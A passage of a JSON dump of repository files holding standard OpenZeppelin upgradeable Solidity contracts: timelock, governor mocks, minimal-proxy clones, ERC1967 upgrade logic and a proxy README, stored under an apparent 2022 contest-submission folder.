value,\n        string signature,\n        bytes data,\n        uint256 eta\n    );\n\n    uint256 public constant GRACE_PERIOD = 14 days;\n    uint256 public constant MINIMUM_DELAY = 2 days;\n    uint256 public constant MAXIMUM_DELAY = 30 days;\n\n    address public admin;\n    address public pendingAdmin;\n    uint256 public delay;\n\n    mapping(bytes32 => bool) public queuedTransactions;\n\n    function __CompTimelock_init(address admin_, uint256 delay_) internal onlyInitializing {\n        __CompTimelock_init_unchained(admin_, delay_);\n    }\n\n    function __CompTimelock_init_unchained(address admin_, uint256 delay_) internal onlyInitializing {\n        require(delay_ >= MINIMUM_DELAY, \"Timelock::constructor: Delay must exceed minimum delay.\");\n        require(delay_ <= MAXIMUM_DELAY, \"Timelock::setDelay: Delay must not exceed maximum delay.\");\n\n        admin = admin_;\n        delay = delay_;\n    }\n\n    receive() external payable {}\n\n    function setDelay(uint256 delay_) public {\n        require(msg.sender == address(this), \"Timelock::setDelay: Call must come from Timelock.\");\n        require(delay_ >= MINIMUM_DELAY, \"Timelock::setDelay: Delay must exceed minimum delay.\");\n        require(delay_ <= MAXIMUM_DELAY, \"Timelock::setDelay: Delay must not exceed maximum delay.\");\n        delay = delay_;\n\n        emit NewDelay(delay);\n    }\n\n    function acceptAdmin() public {\n        require(msg.sender == pendingAdmin, \"Timelock::acceptAdmin: Call must come from pendingAdmin.\");\n        admin = msg.sender;\n        pendingAdmin = address(0);\n\n        emit NewAdmin(admin);\n    }\n\n    function setPendingAdmin(address pendingAdmin_) public {\n        require(msg.sender == address(this), \"Timelock::setPendingAdmin: Call must come from Timelock.\");\n        pendingAdmin = pendingAdmin_;\n\n        emit NewPendingAdmin(pendingAdmin);\n    }\n\n    function queueTransaction(\n        address target,\n        uint256 value,\n        string memory signature,\n        bytes memory data,\n        uint256 eta\n    ) public returns (bytes32) {\n        require(msg.sender == admin, \"Timelock::queueTransaction: Call must come from admin.\");\n        require(\n            eta >= getBlockTimestamp() + delay,\n            \"Timelock::queueTransaction: Estimated execution block must satisfy delay.\"\n        );\n\n        bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));\n        queuedTransactions[txHash] = true;\n\n        emit QueueTransaction(txHash, target, value, signature, data, eta);\n        return txHash;\n    }\n\n    function cancelTransaction(\n        address target,\n        uint256 value,\n        string memory signature,\n        bytes memory data,\n        uint256 eta\n    ) public {\n        require(msg.sender == admin, \"Timelock::cancelTransaction: Call must come from admin.\");\n\n        bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));\n        queuedTransactions[txHash] = false;\n\n        emit CancelTransaction(txHash, target, value, signature, data, eta);\n    }\n\n    function executeTransaction(\n        address target,\n        uint256 value,\n        string memory signature,\n        bytes memory data,\n        uint256 eta\n    ) public payable returns (bytes memory) {\n        require(msg.sender == admin, \"Timelock::executeTransaction: Call must come from admin.\");\n\n        bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));\n        require(queuedTransactions[txHash], \"Timelock::executeTransaction: Transaction hasn't been queued.\");\n        require(getBlockTimestamp() >= eta, \"Timelock::executeTransaction: Transaction hasn't surpassed time lock.\");\n        require(getBlockTimestamp() <= eta + GRACE_PERIOD, \"Timelock::executeTransaction: Transaction is stale.\");\n\n        queuedTransactions[txHash] = false;\n\n        bytes memory callData;\n\n        if (bytes(signature).length == 0) {\n            callData = data;\n        } else {\n            callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);\n        }\n\n        // solium-disable-next-line security/no-call-value\n        (bool success, bytes memory returnData) = target.call{value: value}(callData);\n        require(success, \"Timelock::executeTransaction: Transaction execution reverted.\");\n\n        emit ExecuteTransaction(txHash, target, value, signature, data, eta);\n\n        return returnData;\n    }\n\n    function getBlockTimestamp() internal view returns (uint256) {\n        // solium-disable-next-line security/no-block-members\n        return block.timestamp;\n    }\n    uint256[46] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/wizard/MyGovernor1Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.2;\n\nimport \"../../governance/GovernorUpgradeable.sol\";\nimport \"../../governance/extensions/GovernorCountingSimpleUpgradeable.sol\";\nimport \"../../governance/extensions/GovernorVotesUpgradeable.sol\";\nimport \"../../governance/extensions/GovernorVotesQuorumFractionUpgradeable.sol\";\nimport \"../../governance/extensions/GovernorTimelockControlUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\ncontract MyGovernor1Upgradeable is\n    Initializable, GovernorUpgradeable,\n    GovernorTimelockControlUpgradeable,\n    GovernorVotesUpgradeable,\n    GovernorVotesQuorumFractionUpgradeable,\n    GovernorCountingSimpleUpgradeable\n{\n    function __MyGovernor1_init(ERC20VotesUpgradeable _token, TimelockControllerUpgradeable _timelock) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __EIP712_init_unchained(\"MyGovernor\", version());\n        __IGovernor_init_unchained();\n        __IGovernorTimelock_init_unchained();\n        __Governor_init_unchained(\"MyGovernor\");\n        __GovernorTimelockControl_init_unchained(_timelock);\n        __GovernorVotes_init_unchained(_token);\n        __GovernorVotesQuorumFraction_init_unchained(4);\n        __GovernorCountingSimple_init_unchained();\n        __MyGovernor1_init_unchained(_token, _timelock);\n    }\n\n    function __MyGovernor1_init_unchained(ERC20VotesUpgradeable _token, TimelockControllerUpgradeable _timelock) internal onlyInitializing {}\n\n    function votingDelay() public pure override returns (uint256) {\n        return 1; // 1 block\n    }\n\n    function votingPeriod() public pure override returns (uint256) {\n        return 45818; // 1 week\n    }\n\n    // The following functions are overrides required by Solidity.\n\n    function quorum(uint256 blockNumber)\n        public\n        view\n        override(IGovernorUpgradeable, GovernorVotesQuorumFractionUpgradeable)\n        returns (uint256)\n    {\n        return super.quorum(blockNumber);\n    }\n\n    function getVotes(address account, uint256 blockNumber)\n        public\n        view\n        override(IGovernorUpgradeable, GovernorVotesUpgradeable)\n        returns (uint256)\n    {\n        return super.getVotes(account, blockNumber);\n    }\n\n    function state(uint256 proposalId) public view override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) returns (ProposalState) {\n        return super.state(proposalId);\n    }\n\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        string memory description\n    ) public override(GovernorUpgradeable, IGovernorUpgradeable) returns (uint256) {\n        return super.propose(targets, values, calldatas, description);\n    }\n\n    function _execute(\n        uint256 proposalId,\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) {\n        super._execute(proposalId, targets, values, calldatas, descriptionHash);\n    }\n\n    function _cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) returns (uint256) {\n        return super._cancel(targets, values, calldatas, descriptionHash);\n    }\n\n    function _executor() internal view override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) returns (address) {\n        return super._executor();\n    }\n\n    function supportsInterface(bytes4 interfaceId)\n        public\n        view\n        override(GovernorUpgradeable, GovernorTimelockControlUpgradeable)\n        returns (bool)\n    {\n        return super.supportsInterface(interfaceId);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/wizard/MyGovernor2Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.2;\n\nimport \"../../governance/GovernorUpgradeable.sol\";\nimport \"../../governance/extensions/GovernorProposalThresholdUpgradeable.sol\";\nimport \"../../governance/extensions/GovernorCountingSimpleUpgradeable.sol\";\nimport \"../../governance/extensions/GovernorVotesUpgradeable.sol\";\nimport \"../../governance/extensions/GovernorVotesQuorumFractionUpgradeable.sol\";\nimport \"../../governance/extensions/GovernorTimelockControlUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\ncontract MyGovernor2Upgradeable is\n    Initializable, GovernorUpgradeable,\n    GovernorTimelockControlUpgradeable,\n    GovernorProposalThresholdUpgradeable,\n    GovernorVotesUpgradeable,\n    GovernorVotesQuorumFractionUpgradeable,\n    GovernorCountingSimpleUpgradeable\n{\n    function __MyGovernor2_init(ERC20VotesUpgradeable _token, TimelockControllerUpgradeable _timelock) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __EIP712_init_unchained(\"MyGovernor\", version());\n        __IGovernor_init_unchained();\n        __IGovernorTimelock_init_unchained();\n        __Governor_init_unchained(\"MyGovernor\");\n        __GovernorTimelockControl_init_unchained(_timelock);\n        __GovernorProposalThreshold_init_unchained();\n        __GovernorVotes_init_unchained(_token);\n        __GovernorVotesQuorumFraction_init_unchained(4);\n        __GovernorCountingSimple_init_unchained();\n        __MyGovernor2_init_unchained(_token, _timelock);\n    }\n\n    function __MyGovernor2_init_unchained(ERC20VotesUpgradeable _token, TimelockControllerUpgradeable _timelock) internal onlyInitializing {}\n\n    function votingDelay() public pure override returns (uint256) {\n        return 1; // 1 block\n    }\n\n    function votingPeriod() public pure override returns (uint256) {\n        return 45818; // 1 week\n    }\n\n    function proposalThreshold() public pure override returns (uint256) {\n        return 1000e18;\n    }\n\n    // The following functions are overrides required by Solidity.\n\n    function quorum(uint256 blockNumber)\n        public\n        view\n        override(IGovernorUpgradeable, GovernorVotesQuorumFractionUpgradeable)\n        returns (uint256)\n    {\n        return super.quorum(blockNumber);\n    }\n\n    function getVotes(address account, uint256 blockNumber)\n        public\n        view\n        override(IGovernorUpgradeable, GovernorVotesUpgradeable)\n        returns (uint256)\n    {\n        return super.getVotes(account, blockNumber);\n    }\n\n    function state(uint256 proposalId) public view override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) returns (ProposalState) {\n        return super.state(proposalId);\n    }\n\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        string memory description\n    ) public override(GovernorUpgradeable, GovernorProposalThresholdUpgradeable, IGovernorUpgradeable) returns (uint256) {\n        return super.propose(targets, values, calldatas, description);\n    }\n\n    function _execute(\n        uint256 proposalId,\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) {\n        super._execute(proposalId, targets, values, calldatas, descriptionHash);\n    }\n\n    function _cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) returns (uint256) {\n        return super._cancel(targets, values, calldatas, descriptionHash);\n    }\n\n    function _executor() internal view override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) returns (address) {\n        return super._executor();\n    }\n\n    function supportsInterface(bytes4 interfaceId)\n        public\n        view\n        override(GovernorUpgradeable, GovernorTimelockControlUpgradeable)\n        returns (bool)\n    {\n        return super.supportsInterface(interfaceId);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/wizard/MyGovernor3Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.2;\n\nimport \"../../governance/GovernorUpgradeable.sol\";\nimport \"../../governance/compatibility/GovernorCompatibilityBravoUpgradeable.sol\";\nimport \"../../governance/extensions/GovernorVotesUpgradeable.sol\";\nimport \"../../governance/extensions/GovernorVotesQuorumFractionUpgradeable.sol\";\nimport \"../../governance/extensions/GovernorTimelockControlUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\ncontract MyGovernorUpgradeable is\n    Initializable, GovernorUpgradeable,\n    GovernorTimelockControlUpgradeable,\n    GovernorCompatibilityBravoUpgradeable,\n    GovernorVotesUpgradeable,\n    GovernorVotesQuorumFractionUpgradeable\n{\n    function __MyGovernor_init(ERC20VotesUpgradeable _token, TimelockControllerUpgradeable _timelock) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __EIP712_init_unchained(\"MyGovernor\", version());\n        __IGovernor_init_unchained();\n        __IGovernorTimelock_init_unchained();\n        __IGovernorCompatibilityBravo_init_unchained();\n        __Governor_init_unchained(\"MyGovernor\");\n        __GovernorTimelockControl_init_unchained(_timelock);\n        __GovernorCompatibilityBravo_init_unchained();\n        __GovernorVotes_init_unchained(_token);\n        __GovernorVotesQuorumFraction_init_unchained(4);\n        __MyGovernor_init_unchained(_token, _timelock);\n    }\n\n    function __MyGovernor_init_unchained(ERC20VotesUpgradeable _token, TimelockControllerUpgradeable _timelock) internal onlyInitializing {}\n\n    function votingDelay() public pure override returns (uint256) {\n        return 1; // 1 block\n    }\n\n    function votingPeriod() public pure override returns (uint256) {\n        return 45818; // 1 week\n    }\n\n    function proposalThreshold() public pure override returns (uint256) {\n        return 1000e18;\n    }\n\n    // The following functions are overrides required by Solidity.\n\n    function quorum(uint256 blockNumber)\n        public\n        view\n        override(IGovernorUpgradeable, GovernorVotesQuorumFractionUpgradeable)\n        returns (uint256)\n    {\n        return super.quorum(blockNumber);\n    }\n\n    function getVotes(address account, uint256 blockNumber)\n        public\n        view\n        override(IGovernorUpgradeable, GovernorVotesUpgradeable)\n        returns (uint256)\n    {\n        return super.getVotes(account, blockNumber);\n    }\n\n    function state(uint256 proposalId)\n        public\n        view\n        override(GovernorUpgradeable, IGovernorUpgradeable, GovernorTimelockControlUpgradeable)\n        returns (ProposalState)\n    {\n        return super.state(proposalId);\n    }\n\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        string memory description\n    ) public override(GovernorUpgradeable, GovernorCompatibilityBravoUpgradeable, IGovernorUpgradeable) returns (uint256) {\n        return super.propose(targets, values, calldatas, description);\n    }\n\n    function _execute(\n        uint256 proposalId,\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) {\n        super._execute(proposalId, targets, values, calldatas, descriptionHash);\n    }\n\n    function _cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) returns (uint256) {\n        return super._cancel(targets, values, calldatas, descriptionHash);\n    }\n\n    function _executor() internal view override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) returns (address) {\n        return super._executor();\n    }\n\n    function supportsInterface(bytes4 interfaceId)\n        public\n        view\n        override(GovernorUpgradeable, IERC165Upgradeable, GovernorTimelockControlUpgradeable)\n        returns (bool)\n    {\n        return super.supportsInterface(interfaceId);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/package.json",
    "content": "{\n  \"name\": \"@openzeppelin/contracts-upgradeable\",\n  \"description\": \"Secure Smart Contract library for Solidity\",\n  \"version\": \"4.4.2\",\n  \"files\": [\n    \"**/*.sol\",\n    \"/build/contracts/*.json\",\n    \"!/mocks/**/*\"\n  ],\n  \"scripts\": {\n    \"prepare\": \"bash ../scripts/prepare-contracts-package.sh\",\n    \"prepare-docs\": \"cd ..; npm run prepare-docs\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable.git\"\n  },\n  \"keywords\": [\n    \"solidity\",\n    \"ethereum\",\n    \"smart\",\n    \"contracts\",\n    \"security\",\n    \"zeppelin\"\n  ],\n  \"author\": \"OpenZeppelin Community <maintainers@openzeppelin.org>\",\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/issues\"\n  },\n  \"homepage\": \"https://openzeppelin.com/contracts/\"\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/proxy/ClonesUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/Clones.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for\n * deploying minimal proxy contracts, also known as \"clones\".\n *\n * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies\n * > a minimal bytecode implementation that delegates all calls to a known, fixed address.\n *\n * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`\n * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the\n * deterministic method.\n *\n * _Available since v3.4._\n */\nlibrary ClonesUpgradeable {\n    /**\n     * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.\n     *\n     * This function uses the create opcode, which should never revert.\n     */\n    function clone(address implementation) internal returns (address instance) {\n        assembly {\n            let ptr := mload(0x40)\n            mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)\n            mstore(add(ptr, 0x14), shl(0x60, implementation))\n            mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)\n            instance := create(0, ptr, 0x37)\n        }\n        require(instance != address(0), \"ERC1167: create failed\");\n    }\n\n    /**\n     * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.\n     *\n     * This function uses the create2 opcode and a `salt` to deterministically deploy\n     * the clone. Using the same `implementation` and `salt` multiple time will revert, since\n     * the clones cannot be deployed twice at the same address.\n     */\n    function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {\n        assembly {\n            let ptr := mload(0x40)\n            mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)\n            mstore(add(ptr, 0x14), shl(0x60, implementation))\n            mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)\n            instance := create2(0, ptr, 0x37, salt)\n        }\n        require(instance != address(0), \"ERC1167: create2 failed\");\n    }\n\n    /**\n     * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.\n     */\n    function predictDeterministicAddress(\n        address implementation,\n        bytes32 salt,\n        address deployer\n    ) internal pure returns (address predicted) {\n        assembly {\n            let ptr := mload(0x40)\n            mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)\n            mstore(add(ptr, 0x14), shl(0x60, implementation))\n            mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)\n            mstore(add(ptr, 0x38), shl(0x60, deployer))\n            mstore(add(ptr, 0x4c), salt)\n            mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))\n            predicted := keccak256(add(ptr, 0x37), 0x55)\n        }\n    }\n\n    /**\n     * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.\n     */\n    function predictDeterministicAddress(address implementation, bytes32 salt)\n        internal\n        view\n        returns (address predicted)\n    {\n        return predictDeterministicAddress(implementation, salt, address(this));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/ERC1967/ERC1967Upgrade.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../beacon/IBeaconUpgradeable.sol\";\nimport \"../../utils/AddressUpgradeable.sol\";\nimport \"../../utils/StorageSlotUpgradeable.sol\";\nimport \"../utils/Initializable.sol\";\n\n/**\n * @dev This abstract contract provides getters and event emitting update functions for\n * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.\n *\n * _Available since v4.1._\n *\n * @custom:oz-upgrades-unsafe-allow delegatecall\n */\nabstract contract ERC1967UpgradeUpgradeable is Initializable {\n    function __ERC1967Upgrade_init() internal onlyInitializing {\n        __ERC1967Upgrade_init_unchained();\n    }\n\n    function __ERC1967Upgrade_init_unchained() internal onlyInitializing {\n    }\n    // This is the keccak-256 hash of \"eip1967.proxy.rollback\" subtracted by 1\n    bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;\n\n    /**\n     * @dev Storage slot with the address of the current implementation.\n     * This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1, and is\n     * validated in the constructor.\n     */\n    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n    /**\n     * @dev Emitted when the implementation is upgraded.\n     */\n    event Upgraded(address indexed implementation);\n\n    /**\n     * @dev Returns the current implementation address.\n     */\n    function _getImplementation() internal view returns (address) {\n        return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n    }\n\n    /**\n     * @dev Stores a new address in the EIP1967 implementation slot.\n     */\n    function _setImplementation(address newImplementation) private {\n        require(AddressUpgradeable.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n        StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n    }\n\n    /**\n     * @dev Perform implementation upgrade\n     *\n     * Emits an {Upgraded} event.\n     */\n    function _upgradeTo(address newImplementation) internal {\n        _setImplementation(newImplementation);\n        emit Upgraded(newImplementation);\n    }\n\n    /**\n     * @dev Perform implementation upgrade with additional setup call.\n     *\n     * Emits an {Upgraded} event.\n     */\n    function _upgradeToAndCall(\n        address newImplementation,\n        bytes memory data,\n        bool forceCall\n    ) internal {\n        _upgradeTo(newImplementation);\n        if (data.length > 0 || forceCall) {\n            _functionDelegateCall(newImplementation, data);\n        }\n    }\n\n    /**\n     * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.\n     *\n     * Emits an {Upgraded} event.\n     */\n    function _upgradeToAndCallSecure(\n        address newImplementation,\n        bytes memory data,\n        bool forceCall\n    ) internal {\n        address oldImplementation = _getImplementation();\n\n        // Initial upgrade and setup call\n        _setImplementation(newImplementation);\n        if (data.length > 0 || forceCall) {\n            _functionDelegateCall(newImplementation, data);\n        }\n\n        // Perform rollback test if not already in progress\n        StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);\n        if (!rollbackTesting.value) {\n            // Trigger rollback using upgradeTo from the new implementation\n            rollbackTesting.value = true;\n            _functionDelegateCall(\n                newImplementation,\n                abi.encodeWithSignature(\"upgradeTo(address)\", oldImplementation)\n            );\n            rollbackTesting.value = false;\n            // Check rollback was effective\n            require(oldImplementation == _getImplementation(), \"ERC1967Upgrade: upgrade breaks further upgrades\");\n            // Finally reset to the new implementation and log the upgrade\n            _upgradeTo(newImplementation);\n        }\n    }\n\n    /**\n     * @dev Storage slot with the admin of the contract.\n     * This is the keccak-256 hash of \"eip1967.proxy.admin\" subtracted by 1, and is\n     * validated in the constructor.\n     */\n    bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;\n\n    /**\n     * @dev Emitted when the admin account has changed.\n     */\n    event AdminChanged(address previousAdmin, address newAdmin);\n\n    /**\n     * @dev Returns the current admin.\n     */\n    function _getAdmin() internal view returns (address) {\n        return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;\n    }\n\n    /**\n     * @dev Stores a new address in the EIP1967 admin slot.\n     */\n    function _setAdmin(address newAdmin) private {\n        require(newAdmin != address(0), \"ERC1967: new admin is the zero address\");\n        StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;\n    }\n\n    /**\n     * @dev Changes the admin of the proxy.\n     *\n     * Emits an {AdminChanged} event.\n     */\n    function _changeAdmin(address newAdmin) internal {\n        emit AdminChanged(_getAdmin(), newAdmin);\n        _setAdmin(newAdmin);\n    }\n\n    /**\n     * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.\n     * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.\n     */\n    bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;\n\n    /**\n     * @dev Emitted when the beacon is upgraded.\n     */\n    event BeaconUpgraded(address indexed beacon);\n\n    /**\n     * @dev Returns the current beacon.\n     */\n    function _getBeacon() internal view returns (address) {\n        return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;\n    }\n\n    /**\n     * @dev Stores a new beacon in the EIP1967 beacon slot.\n     */\n    function _setBeacon(address newBeacon) private {\n        require(AddressUpgradeable.isContract(newBeacon), \"ERC1967: new beacon is not a contract\");\n        require(\n            AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),\n            \"ERC1967: beacon implementation is not a contract\"\n        );\n        StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;\n    }\n\n    /**\n     * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does\n     * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).\n     *\n     * Emits a {BeaconUpgraded} event.\n     */\n    function _upgradeBeaconToAndCall(\n        address newBeacon,\n        bytes memory data,\n        bool forceCall\n    ) internal {\n        _setBeacon(newBeacon);\n        emit BeaconUpgraded(newBeacon);\n        if (data.length > 0 || forceCall) {\n            _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);\n        }\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n     * but performing a delegate call.\n     *\n     * _Available since v3.4._\n     */\n    function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {\n        require(AddressUpgradeable.isContract(target), \"Address: delegate call to non-contract\");\n\n        // solhint-disable-next-line avoid-low-level-calls\n        (bool success, bytes memory returndata) = target.delegatecall(data);\n        return AddressUpgradeable.verifyCallResult(success, returndata, \"Address: low-level delegate call failed\");\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/proxy/README.adoc",
    "content": "= Proxies\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/proxy\n\nThis is a low-level set of contracts implementing different proxy patterns with and without upgradeability. For an in-depth overview of this pattern check out the xref:upgrades-plugins::proxies.adoc[Proxy Upgrade Pattern] page.\n\nMost of the proxies below are built on an abstract base contract.\n\n- {Proxy}: Abstract contract implementing the core delegation functionality.\n\nIn order to avoid clashes with the storage variables of the implementation contract behind a proxy, we use https://eips.ethereum.org/EIPS/eip-1967[EIP1967] storage slots.\n\n- {ERC1967Upgrade}: Internal functions to get and set the storage slots defined in EIP1967.\n- {ERC1967Proxy}: A proxy using EIP1967 storage slots. Not upgradeable by default.\n\nThere are two alternative ways to add upgradeability to an ERC1967 proxy. Their differences are explained below in <<transparent-vs-uups>>.\n\n- {TransparentUpgradeableProxy}: A proxy with a built in admin and upgrade interface.\n- {UUPSUpgradeable}: An upgradeability mechanism to be included in the implementation for an ERC1967 proxy.\n\nCAUTION: Using upgradeable proxies correctly and securely is a difficult task that requires deep knowledge of the proxy pattern, Solidity, and the EVM. Unless you want a lot of low level control, we recommend using the xref:upgrades-plugins::index.adoc[OpenZeppelin Upgrades Plugins] for Truffle and Hardhat.\n\nA different family of proxies are beacon proxies. This pattern, popularized by Dharma, allows multiple proxies to be upgraded to a different implementation in a single transaction.\n\n- {BeaconProxy}: A proxy that retreives its implementation from a beacon contract.\n- {UpgradeableBeacon}: A beacon contract that can be upgraded.\n\nIn this pattern, the proxy contract doesn't hold the implementation address in storage like an ERC1967 proxy, instead the address is stored in a separate beacon contract. The `upgrade` operations that are sent to the beacon instead of to the proxy contract, and all proxies that follow that beacon are automatically upgraded.\n\nOutside the realm of upgradeability, proxies can also be useful to make cheap contract clones, such as those created by an on-chain factory contract that creates many instances of the same contract. These instances are designed to be both cheap to deploy, and cheap to call.\n\n- {Clones}: A library that can deploy cheap minimal non-upgradeable proxies.\n\n[[transparent-vs-uups]]\n== Transparent vs UUPS Proxies\n\nThe original proxies included in OpenZeppelin followed the https://blog.openzeppelin.com/the-transparent-proxy-pattern/[Transparent Proxy Pattern]. While this pattern is still provided, our recommendation is now shifting towards UUPS proxies, which are both lightweight and versatile. The name UUPS comes from https://eips.ethereum.org/EIPS/eip-1822[EIP1822], which first documented the pattern.\n\nWhile both of these share the same interface for upgrades, in UUPS proxies the upgrade is handled by the implementation, and can eventually be removed. Transparent proxies, on the other hand, include the upgrade and admin logic in the proxy itself. This means {TransparentUpgradeableProxy} is more expensive to deploy than what is possible with UUPS proxies.\n\nUUPS proxies are implemented using an {ERC1967Proxy}. Note that this proxy is not by itself upgradeable. It is the role of the implementation to include, alongside the contract's logic, all the code necessary to update the implementation's address that is stored at a specific slot in the proxy's storage space. This is where the {UUPSUpgradeable} contract comes in. Inheriting from it (and overriding the {xref-UUPSUpgradeable-_authorizeUpgrade-address-}[`_authorizeUpgrade`] function with the relevant access control mechanism) will turn your contract into a UUPS compliant implementation.\n\nNote that since both proxies use the same storage slot for the implementation address, using a UUPS compliant implementation with a {TransparentUpgradeableProxy} might allow non-admins to perform upgrade operations.\n\nBy default, the upgrade functionality included in {UUPSUpgradeable} contains a security mechanism that will prevent any upgrades to a non UUPS compliant implementation. This prevents upgrades to an implementation contract that wouldn't contain the necessary upgrade mechanism, as it would lock the upgradeability of the proxy forever. 